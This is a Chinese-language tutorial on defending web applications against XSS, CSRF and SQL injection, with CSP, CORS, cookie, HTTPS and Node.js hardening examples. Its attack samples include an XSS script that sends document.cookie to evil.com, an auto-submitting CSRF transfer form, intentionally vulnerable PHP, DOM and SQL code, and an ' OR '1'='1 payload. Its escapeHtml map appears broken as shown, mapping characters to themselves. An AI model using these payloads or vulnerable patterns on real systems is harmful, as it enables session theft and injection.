Web 安全防護與 XSS/CSRF 防禦實戰 2026 | 前端安全完全指南

Web 安全是每個開發者必須重視的領域。本文將從 XSS、CSRF 兩大經典攻擊入手,系統講解 CSP、CORS、Cookie 安全策略、HTTPS 配置及 Node.js 後端安全防護的完整方案。
一、XSS 跨站腳本攻擊
1.1 XSS 類型
| 類型 | 說明 | 示例 |
|---|---|---|
| 反射型 | 惡意代碼在 URL 中,服務端反射到頁面 | ?q=<script>...</script> |
| 存儲型 | 惡意代碼存儲在數據庫,渲染時執行 | 評論框注入腳本 |
| DOM 型 | 純前端 JS 操作 DOM 引入 | innerHTML = userInput |
1.2 攻擊示例
<!-- 存儲型 XSS:評論系統 -->
<!-- 攻擊者在評論框輸入: -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
<!-- 其他用戶查看評論時,腳本執行,Cookie 被竊取 -->
<!-- 反射型 XSS:搜索頁面 -->
<!-- URL: https://example.com/search?q=<script>alert('XSS')</script> -->
<!-- 服務端直接輸出搜索詞到 HTML: -->
<div>搜索結果:<?php echo $_GET['q']; ?></div>
<!-- DOM 型 XSS:前端渲染 -->
<div id="output"></div>
<script>
const params = new URLSearchParams(location.search)
document.getElementById('output').innerHTML = params.get('name')
</script>1.3 XSS 防禦方案
1. 輸出編碼(最重要)
// HTML 上下文編碼
function escapeHtml(str: string): string {
const map: Record<string, string> = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
}
return str.replace(/[&<>"'/]/g, (char) => map[char])
}
// 在不同上下文中使用不同編碼
// HTML 內容
element.textContent = userInput // 自動編碼
// 屬性值
element.setAttribute('data-value', userInput)
// URL 參數
const url = `https://example.com?name=${encodeURIComponent(userInput)}`2. 使用安全框架
// Vue 自動轉義(默認安全)
// <template>{{ userInput }}</template> — 自動 HTML 編碼
// React 自動轉義(默認安全)
// <div>{userInput}</div> — 自動編碼
// 避免使用 dangerouslySetInnerHTML / v-html
// React
const BadComponent = () => (
<div dangerouslySetInnerHTML={{ __html: userInput }} /> // ❌ 危險
)
// Vue
// <div v-html="userInput"></div> ❌ 危險
// 如果必須使用,先做淨化
import DOMPurify from 'dompurify'
const SafeComponent = () => (
<div dangerouslySetInnerHTML={{
__html: DOMPurify.sanitize(userInput) // ✅ 淨化後再渲染
}} />
)3. DOMPurify 淨化 HTML
import DOMPurify from 'dompurify'
// 基礎淨化
const clean = DOMPurify.sanitize(dirtyHtml)
// 自定義配置
const clean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title', 'target', 'rel'],
ALLOW_DATA_ATTR: false,
FORBID_TAGS: ['script', 'style', 'iframe', 'object', 'embed'],
FORBID_ATTR: ['onerror', 'onload', 'onclick'],
})
// 強制鏈接安全
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
if (node.tagName === 'A') {
node.setAttribute('rel', 'noopener noreferrer')
node.setAttribute('target', '_blank')
}
})4. HttpOnly Cookie
// 設置 Cookie 時添加 HttpOnly,JS 無法讀取
res.cookie('session', token, {
httpOnly: true, // JS 無法通過 document.cookie 訪問
secure: true, // 僅 HTTPS 傳輸
sameSite: 'strict', // 防止 CSRF
maxAge: 3600000 // 1 小時過期
})二、CSP 內容安全策略
2.1 CSP 配置
# Nginx 配置 CSP
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
img-src 'self' data: https: blob:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com wss://ws.example.com;
media-src 'self';
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
report-uri /api/csp-report;
" always;2.2 nonce 模式
// Express 中間件:為每個請求生成 nonce
import crypto from 'crypto'
app.use((req, res, next) => {
res.locals.nonce = crypto.randomBytes(16).toString('base64')
res.setHeader('Content-Security-Policy', `
default-src 'self';
script-src 'self' 'nonce-${res.locals.nonce}';
style-src 'self' 'nonce-${res.locals.nonce}';
`)
next()
})
// 在 HTML 中使用 nonce
app.get('/', (req, res) => {
res.send(`
<!DOCTYPE html>
<html>
<head>
<script nonce="${res.locals.nonce}">
console.log('This script is allowed by CSP')
</script>
</head>
<body>
<h1>Hello</h1>
</body>
</html>
`)
})2.3 CSP 報告收集
// 收集 CSP 違規報告
app.post('/api/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
const report = req.body['csp-report']
console.log('CSP Violation:', {
'document-uri': report['document-uri'],
'violated-directive': report['violated-directive'],
'blocked-uri': report['blocked-uri'],
'line-number': report['line-number'],
'source-file': report['source-file'],
})
// 可以存儲到數據庫或發送到監控系統
res.status(204).end()
})三、CSRF 跨站請求偽造
3.1 攻擊原理
1. 用戶登錄 bank.com,瀏覽器保存 Session Cookie
2. 用戶訪問 evil.com,頁面包含:
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>
3. 表單自動提交,瀏覽器自動攜帶 bank.com 的 Cookie
4. 銀行服務器認為是用戶本人操作,執行轉賬3.2 CSRF 防禦方案
1. SameSite Cookie
// 最簡單有效的防禦方式
res.cookie('session', token, {
httpOnly: true,
secure: true,
sameSite: 'strict', // 或 'lax'
// strict: 完全不發送第三方 Cookie
// lax: 導航時發送 GET 請求的 Cookie(默認值)
})
// 現代瀏覽器默認 SameSite=Lax,已能防禦大多數 CSRF2. CSRF Token
// Express + csurf 中間件
import csrf from 'csurf'
const csrfProtection = csrf({ cookie: true })
// 在表單頁面注入 token
app.get('/transfer', csrfProtection, (req, res) => {
res.render('transfer', { csrfToken: req.csrfToken() })
})
// 表單中攜帶 token
// <form action="/transfer" method="POST">
// <input type="hidden" name="_csrf" value="{{csrfToken}}">
// ...
// </form>
// API 請求中攜帶 token(Header 方式)
// fetch('/transfer', {
// headers: { 'X-CSRF-Token': csrfToken },
// ...
// })// Vue 前端集成 CSRF Token
import axios from 'axios'
// 從 meta 標籤獲取 token
const csrfToken = document.querySelector('meta[name="csrf-token"]')?.getAttribute('content')
// 配置 axios
axios.defaults.headers.common['X-CSRF-Token'] = csrfToken
// 或攔截器自動注入
axios.interceptors.request.use((config) => {
const token = document.querySelector('meta[name="csrf-token"]')?.getAttribute('content')
if (token) {
config.headers['X-CSRF-Token'] = token
}
return config
})3. Double Submit Cookie
// 1. 服務端設置 CSRF Cookie(非 HttpOnly)
app.use((req, res, next) => {
const csrfToken = crypto.randomBytes(32).toString('hex')
res.cookie('csrf-token', csrfToken, {
httpOnly: false, // 前端需要讀取
secure: true,
sameSite: 'strict',
})
res.locals.csrfToken = csrfToken
next()
})
// 2. 前端讀取 Cookie 並放入請求頭
async function apiRequest(url: string, options: RequestInit = {}) {
const csrfToken = getCookie('csrf-token') // 讀取 Cookie
return fetch(url, {
...options,
headers: {
...options.headers,
'X-CSRF-Token': csrfToken, // 放入 Header
},
})
}
// 3. 服務端驗證:Cookie 中的 token 與 Header 中的必須一致
app.use((req, res, next) => {
const cookieToken = req.cookies['csrf-token']
const headerToken = req.headers['x-csrf-token']
if (req.method !== 'GET' && cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF token mismatch' })
}
next()
})四、CORS 跨域資源共享
4.1 CORS 配置
// Express CORS 配置
import cors from 'cors'
// 簡單配置
app.use(cors({
origin: 'https://example.com', // 指定域名
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true, // 允許攜帶 Cookie
maxAge: 86400, // 預檢請求緩存 24 小時
}))
// 多域名配置
const allowedOrigins = [
'https://example.com',
'https://app.example.com',
'https://admin.example.com',
]
app.use(cors({
origin: (origin, callback) => {
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true)
} else {
callback(new Error('Not allowed by CORS'))
}
},
credentials: true,
}))4.2 預檢請求
// 處理 OPTIONS 預檢請求
app.options('/api/*', cors())
// 自定義預檢響應
app.options('/api/special', (req, res) => {
res.set({
'Access-Control-Allow-Origin': 'https://example.com',
'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE',
'Access-Control-Allow-Headers': 'Content-Type, Authorization, X-Custom-Header',
'Access-Control-Max-Age': '86400',
'Access-Control-Allow-Credentials': 'true',
})
res.status(204).end()
})4.3 安全注意事項
// ❌ 危險:允許所有來源 + 攜帶憑證
app.use(cors({
origin: '*',
credentials: true, // 瀏覽器會拒絕這個組合
}))
// ❌ 危險:反射 Origin
app.use(cors({
origin: (origin, callback) => {
callback(null, origin) // 反射任何 Origin
},
credentials: true,
}))
// ✅ 安全:白名單模式
app.use(cors({
origin: (origin, callback) => {
const whitelist = ['https://example.com', 'https://app.example.com']
if (whitelist.includes(origin)) {
callback(null, true)
} else {
callback(new Error('CORS not allowed'))
}
},
credentials: true,
}))五、Cookie 安全
5.1 安全 Cookie 配置
// 完整的安全 Cookie 設置
res.cookie('session', token, {
httpOnly: true, // JS 不可讀(防 XSS 竊取)
secure: true, // 僅 HTTPS 傳輸
sameSite: 'strict', // 防 CSRF
path: '/',
domain: '.example.com',
maxAge: 3600000, // 1 小時
// signed: true, // 簽名 Cookie(Express)
})
// Cookie 前綴
// __Host- 前綴:必須 Secure、Path=/、無 Domain
res.cookie('__Host-session', token, {
httpOnly: true,
secure: true,
path: '/',
sameSite: 'strict',
})
// __Secure- 前綴:必須 Secure
res.cookie('__Secure-token', token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
})5.2 JWT 安全存儲
// ❌ 不推薦:localStorage(XSS 可讀取)
localStorage.setItem('token', jwtToken)
// ✅ 推薦:HttpOnly Cookie
res.cookie('token', jwtToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
})
// ✅ 如果用 Authorization Header(SPA)
// 需要配合嚴格的 CSP 策略
const token = sessionStorage.getItem('token') // 比 localStorage 更短命
axios.defaults.headers.common['Authorization'] = `Bearer ${token}`六、HTTPS 與安全頭
6.1 HTTPS 配置
# Nginx HTTPS 配置
server {
listen 443 ssl http2;
server_name example.com;
ssl_certificate /etc/ssl/certs/example.com.pem;
ssl_certificate_key /etc/ssl/private/example.com.key;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
ssl_prefer_server_ciphers off;
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 1d;
ssl_session_tickets off;
# HSTS:強制瀏覽器使用 HTTPS
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
}
# HTTP 跳轉 HTTPS
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}6.2 安全響應頭
// Express 使用 helmet 中間件
import helmet from 'helmet'
app.use(helmet())
// 自定義配置
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'"],
styleSrc: ["'self'", "'unsafe-inline'"],
},
},
crossOriginEmbedderPolicy: false,
hsts: {
maxAge: 63072000,
includeSubDomains: true,
preload: true,
},
}))
// 手動設置安全頭
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff')
res.setHeader('X-Frame-Options', 'DENY')
res.setHeader('X-XSS-Protection', '0') // 現代瀏覽器已廢棄,設 0
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin')
res.setHeader('Permissions-Policy', 'geolocation=(), microphone=(), camera=()')
res.setHeader('Cross-Origin-Opener-Policy', 'same-origin')
res.setHeader('Cross-Origin-Resource-Policy', 'same-origin')
next()
})6.3 SRI 子資源完整性
<!-- 為外部腳本/樣式添加完整性校驗 -->
<script
src="https://cdn.jsdelivr.net/npm/vue@3.4.0/dist/vue.global.prod.js"
integrity="sha384-abc123..."
crossorigin="anonymous">
</script>
<link
rel="stylesheet"
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css"
integrity="sha384-xyz789..."
crossorigin="anonymous">七、SQL 注入防禦
// ❌ 危險:拼接 SQL
app.get('/users', (req, res) => {
const name = req.query.name
db.query(`SELECT * FROM users WHERE name = '${name}'`)
// 攻擊:?name=' OR '1'='1
// 結果:SELECT * FROM users WHERE name = '' OR '1'='1
})
// ✅ 安全:參數化查詢
app.get('/users', (req, res) => {
const name = req.query.name
db.query('SELECT * FROM users WHERE name = $1', [name]) // PostgreSQL
// 或
db.query('SELECT * FROM users WHERE name = ?', [name]) // MySQL
})
// ✅ 安全:使用 ORM/查詢構建器
import { knex } from 'knex'
const users = await knex('users')
.where('name', name)
.select('*')
// ✅ 安全:Prisma ORM
const users = await prisma.user.findMany({
where: { name: name }
})八、Node.js 後端安全
8.1 輸入驗證
import { z } from 'zod'
// 使用 Zod 進行嚴格的輸入驗證
const userSchema = z.object({
name: z.string().min(2).max(50),
email: z.string().email(),
age: z.number().int().min(18).max(120),
role: z.enum(['user', 'admin']).default('user'),
})
app.post('/users', (req, res) => {
const result = userSchema.safeParse(req.body)
if (!result.success) {
return res.status(400).json({
error: 'Validation failed',
details: result.error.flatten(),
})
}
const { name, email, age, role } = result.data
// 安全使用驗證後的數據
})
// 文件上傳驗證
const upload = multer({
limits: { fileSize: 5 * 1024 * 1024 }, // 5MB 限制
fileFilter: (req, file, cb) => {
const allowedTypes = ['image/jpeg', 'image/png', 'image/webp']
if (allowedTypes.includes(file.mimetype)) {
cb(null, true)
} else {
cb(new Error('Invalid file type'))
}
},
})8.2 速率限制
import rateLimit from 'express-rate-limit'
// 全局速率限制
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 分鐘
max: 100, // 每個 IP 最多 100 次請求
standardHeaders: true,
legacyHeaders: false,
message: { error: 'Too many requests' },
})
app.use('/api/', limiter)
// 登錄接口更嚴格限制
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5, // 15 分鐘內最多 5 次嘗試
message: { error: 'Too many login attempts' },
})
app.post('/api/login', loginLimiter, loginHandler)8.3 安全頭與Helmet
import helmet from 'helmet'
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", 'data:', 'https:'],
connectSrc: ["'self'", 'https://api.example.com'],
},
},
crossOriginEmbedderPolicy: true,
crossOriginOpenerPolicy: { policy: 'same-origin' },
crossOriginResourcePolicy: { policy: 'same-origin' },
hsts: { maxAge: 63072000, includeSubDomains: true, preload: true },
frameguard: { action: 'deny' },
noSniff: true,
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
}))九、依賴安全
9.1 依賴審計
# npm audit
npm audit
npm audit fix
npm audit fix --force
# pnpm audit
pnpm audit
# 使用 Snyk
npx snyk test
npx snyk monitor9.2 自動化安全檢查
# .github/workflows/security.yml
name: Security Audit
on: [push, pull_request, schedule]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: pnpm/action-setup@v3
with: { version: 9 }
- uses: actions/setup-node@v4
with: { node-version: 20, cache: 'pnpm' }
- run: pnpm install --frozen-lockfile
- run: pnpm audit --audit-level=moderate
- name: Run Snyk
uses: snyk/actions/node@master
with:
command: test
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}十、安全檢查清單
10.1 前端安全清單
10.2 後端安全清單
十一、總結
- ✅ XSS 攻擊原理與防禦(輸出編碼、DOMPurify、HttpOnly Cookie)
- ✅ CSP 內容安全策略(指令配置、nonce 模式、報告收集)
- ✅ CSRF 攻擊原理與防禦(SameSite Cookie、CSRF Token、Double Submit)
- ✅ CORS 跨域配置(白名單模式、預檢請求、安全注意事項)
- ✅ Cookie 安全(安全屬性、Cookie 前綴、JWT 存儲)
- ✅ HTTPS 與安全頭(HSTS、helmet、SRI)
- ✅ SQL 注入防禦(參數化查詢、ORM)
- ✅ Node.js 後端安全(輸入驗證、速率限制、依賴審計)
- ✅ 安全檢查清單(前端 + 後端)
Web 安全是全棧工程師的核心能力,安全防護應該是系統設計的一部分,而非事後補充。
相關閱讀: